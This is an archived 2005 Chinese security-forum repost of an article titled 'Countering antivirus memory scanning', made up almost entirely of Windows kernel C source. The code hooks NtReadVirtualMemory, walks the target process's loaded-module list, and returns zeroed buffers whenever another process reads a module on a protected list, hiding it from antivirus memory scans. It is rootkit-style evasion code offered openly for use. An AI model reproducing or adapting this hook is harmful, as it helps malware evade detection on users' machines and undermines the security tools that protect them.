邪恶八进制信息安全团队技术讨论组's Archiver

sunwear 2005-11-19 14:11

[转载]对抗杀毒软件的内存扫描

信息来源:whitecell
文章作者:Polymorphours
---------------------

Author:  Polymorphours
Email:  [email]Polymorphours@whitecell.org[/email]
Homepage:[url]http://www.whitecell.org[/url]
Date:   2005-11-17


/*++
      Author: Polymorphours
   
    Date: 2005/1/10

    通过对 NtReadVirtualMemory 挂钩,防止其他进程对保护的模块进行扫描,
    如果发现其他进程读被保护模块的内存,则返回0

--*/


typedef struct _LDR_DATA_TABLE_ENTRY {
   
    LIST_ENTRY InLoadOrderLinks;
    LIST_ENTRY InMemoryOrderLinks;
    LIST_ENTRY InInitializationOrderLinks;
    PVOID DllBase;
    PVOID EntryPoint;
    ULONG SizeOfImage;
    UNICODE_STRING FullDllName;
    UNICODE_STRING BaseDllName;
   
   
    /*
    +0x034 Flags        : Uint4B
    +0x038 LoadCount      : Uint2B
    +0x03a TlsIndex      : Uint2B
    +0x03c HashLinks      : _LIST_ENTRY
    +0x03c SectionPointer  : Ptr32 Void
    +0x040 CheckSum      : Uint4B
    +0x044 TimeDateStamp   : Uint4B
    +0x044 LoadedImports   : Ptr32 Void
    +0x048 EntryPointActivationContext : Ptr32 Void
    +0x04c PatchInformation : Ptr32 Void   
    */
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;

/*++

    函数名: MyNtReadVirtualMemory
   
    参数:
        IN    HANDLE    ProcessHandle,
        IN    PVOID    BaseAddress,
        OUT    PVOID    Buffer,
        IN    ULONG    BufferLength,
        OUT    PULONG    ReturnLength    OPTIONAL
        
    功能:
        隐藏保护模块的内存,如果发现有内存扫描到这块内存,则返回加密后的数据扰乱扫描过程
        
    返回:
        NTSTATUS
        
--*/


NTSTATUS
MyNtReadVirtualMemory(
    IN    HANDLE    ProcessHandle,
    IN    PVOID    BaseAddress,
    OUT    PVOID    Buffer,
    IN    ULONG    BufferLength,
    OUT    PULONG    ReturnLength    OPTIONAL
    )
{
    NTSTATUS    status;
    PEPROCESS    eProcess;
    PVOID        Peb;
   
    PPEB_LDR_DATA    PebLdrData;
    PLDR_DATA_TABLE_ENTRY    LdrDataTableHeadList;
    PLDR_DATA_TABLE_ENTRY    LdrDataTableEntry;
   
    PLIST_ENTRY            Blink;
    PPROTECT_NODE        FileNode = NULL;
    BOOLEAN                bHideFlag = FALSE;
    ULONG                ImageMaxAddress = 0;

/*
#ifdef _DEBUG
    DbgPrint( "Call Process: %s, BaseAddress: %08x\n", PsGetProcessImageFileName( PsGetCurrentProcess() ), BaseAddress );
#endif
*/

    status =ObReferenceObjectByHandle(
                ProcessHandle,
                FILE_READ_DATA,
                PsProcessType,
                KernelMode,
                (PVOID)&eProcess,
                NULL
                );
    if ( NT_SUCCESS(status) ) {
        
        //
        // 得到PEB的地址
        //
        
        Peb = (PVOID)(*(PULONG)((PCHAR)eProcess + PebOffset));
        
        //
        // 切换到目标进程空间
        //
        
        
        KeAttachProcess( eProcess );
        
        //
        // 判断PEB是否有效,如果有效,那么准备利用PEB结构遍历进程加载的模块
        //

        if ( !MmIsAddressValid( Peb ) ) {

/*
#ifdef _DEBUG
            DbgPrint( "PEB is error.\n" );
#endif
*/
            
            KeDetachProcess();
            ObDereferenceObject( eProcess );
            
            goto CLEANUP;
        }
        
        PebLdrData = (PPEB_LDR_DATA)(*(PULONG)( (PCHAR)Peb + 0xc ));
        
        if ( !PebLdrData ) {
            
            KeDetachProcess();
            ObDereferenceObject( eProcess );
            
            goto CLEANUP;
        }
        
        try {
            
            ProbeForRead (
                PebLdrData,
                sizeof(PEB_LDR_DATA),
                sizeof(ULONG)
                );
               
            //
            // 遍历模块链表
            //
            
            LdrDataTableHeadList = (PLDR_DATA_TABLE_ENTRY)PebLdrData->InLoadOrderModuleList.Flink;
            LdrDataTableEntry = LdrDataTableHeadList;
            
            
            do {
               
                ProbeForRead(
                    LdrDataTableEntry,
                    sizeof(LDR_DATA_TABLE_ENTRY),
                    sizeof(ULONG)
                    );
                    
                if ( !LdrDataTableEntry->DllBase ) {

                    LdrDataTableEntry = (PLDR_DATA_TABLE_ENTRY)LdrDataTableEntry->InLoadOrderLinks.Flink;
                    continue;   
                }

               
                //
                // 判断读的内存属于那一个模块,如果都不属于,那么放过
                //

                ImageMaxAddress = (ULONG)((ULONG)LdrDataTableEntry->DllBase + LdrDataTableEntry->SizeOfImage);
               
                if ( (ULONG)( (ULONG)BaseAddress + BufferLength) < (ULONG)LdrDataTableEntry->DllBase ||
                     (ULONG)BaseAddress > ImageMaxAddress ) {

                     //
                     // 如果不是读模块区域,那么枚举下一个
                     //   

                    LdrDataTableEntry = (PLDR_DATA_TABLE_ENTRY)LdrDataTableEntry->InLoadOrderLinks.Flink;
                    continue;   
                }
               
                //
                // 如果是被保护的模块,那么返回虚假数据
                //

                bHideFlag = FALSE;
                Blink = ProtectFile.Blink;
               

                while ( Blink != &ProtectFile ) {

                    FileNode = CONTAINING_RECORD( Blink, PROTECT_NODE, ActiveLink );
                    
                    //
                    // 如果发现当前文件存在于隐藏列表,那么设置隐藏标志隐藏它
                    //

                    if ( wcsstr( FileNode->ProtectName, LdrDataTableEntry->FullDllName.Buffer ) ) {

                        bHideFlag = TRUE;
                        break;
                    }

                    Blink = Blink->Blink;
                }
               
                if ( bHideFlag ) {
                    
                    //
                    // 返回原本的进程空间进行处理
                    //

                    KeDetachProcess();
                    ObDereferenceObject( eProcess );

                    ProbeForWrite(
                        Buffer,
                        BufferLength,
                        sizeof(ULONG)
                        );
                        
                    memset( Buffer, 0x00, BufferLength );
                    
                    ProbeForWrite(
                        ReturnLength,
                        sizeof(PULONG),
                        sizeof(ULONG)
                        );
                    
                    *ReturnLength = BufferLength;
                    
                    return STATUS_SUCCESS;
                }
            
                LdrDataTableEntry = (PLDR_DATA_TABLE_ENTRY)LdrDataTableEntry->InLoadOrderLinks.Flink;
               
            } while ( LdrDataTableEntry != LdrDataTableHeadList );
            

        } except( EXCEPTION_EXECUTE_HANDLER ) {

            if ( !bHideFlag ) {
               
                KeDetachProcess();
                ObDereferenceObject( eProcess );
            }

            goto CLEANUP;
        }


        KeDetachProcess();
        ObDereferenceObject( eProcess );
    }
   
CLEANUP:

    return NtReadVirtualMemory(
            ProcessHandle,
            BaseAddress,
            Buffer,
            BufferLength,
            ReturnLength
            );
}


Whitecell Security Systems,一个非营利性民间技术组织,致力于各种系统安全技术的研究。坚持传统的hacker精神,追求技术的精纯。
Whitecell Website:[url]http://www.whitecell.org/[/url]
Whitecell Forum:[url]http://www.whitecell.org/forum/[/url]

页: [1]
© 1999-2008 EvilOctal Security Team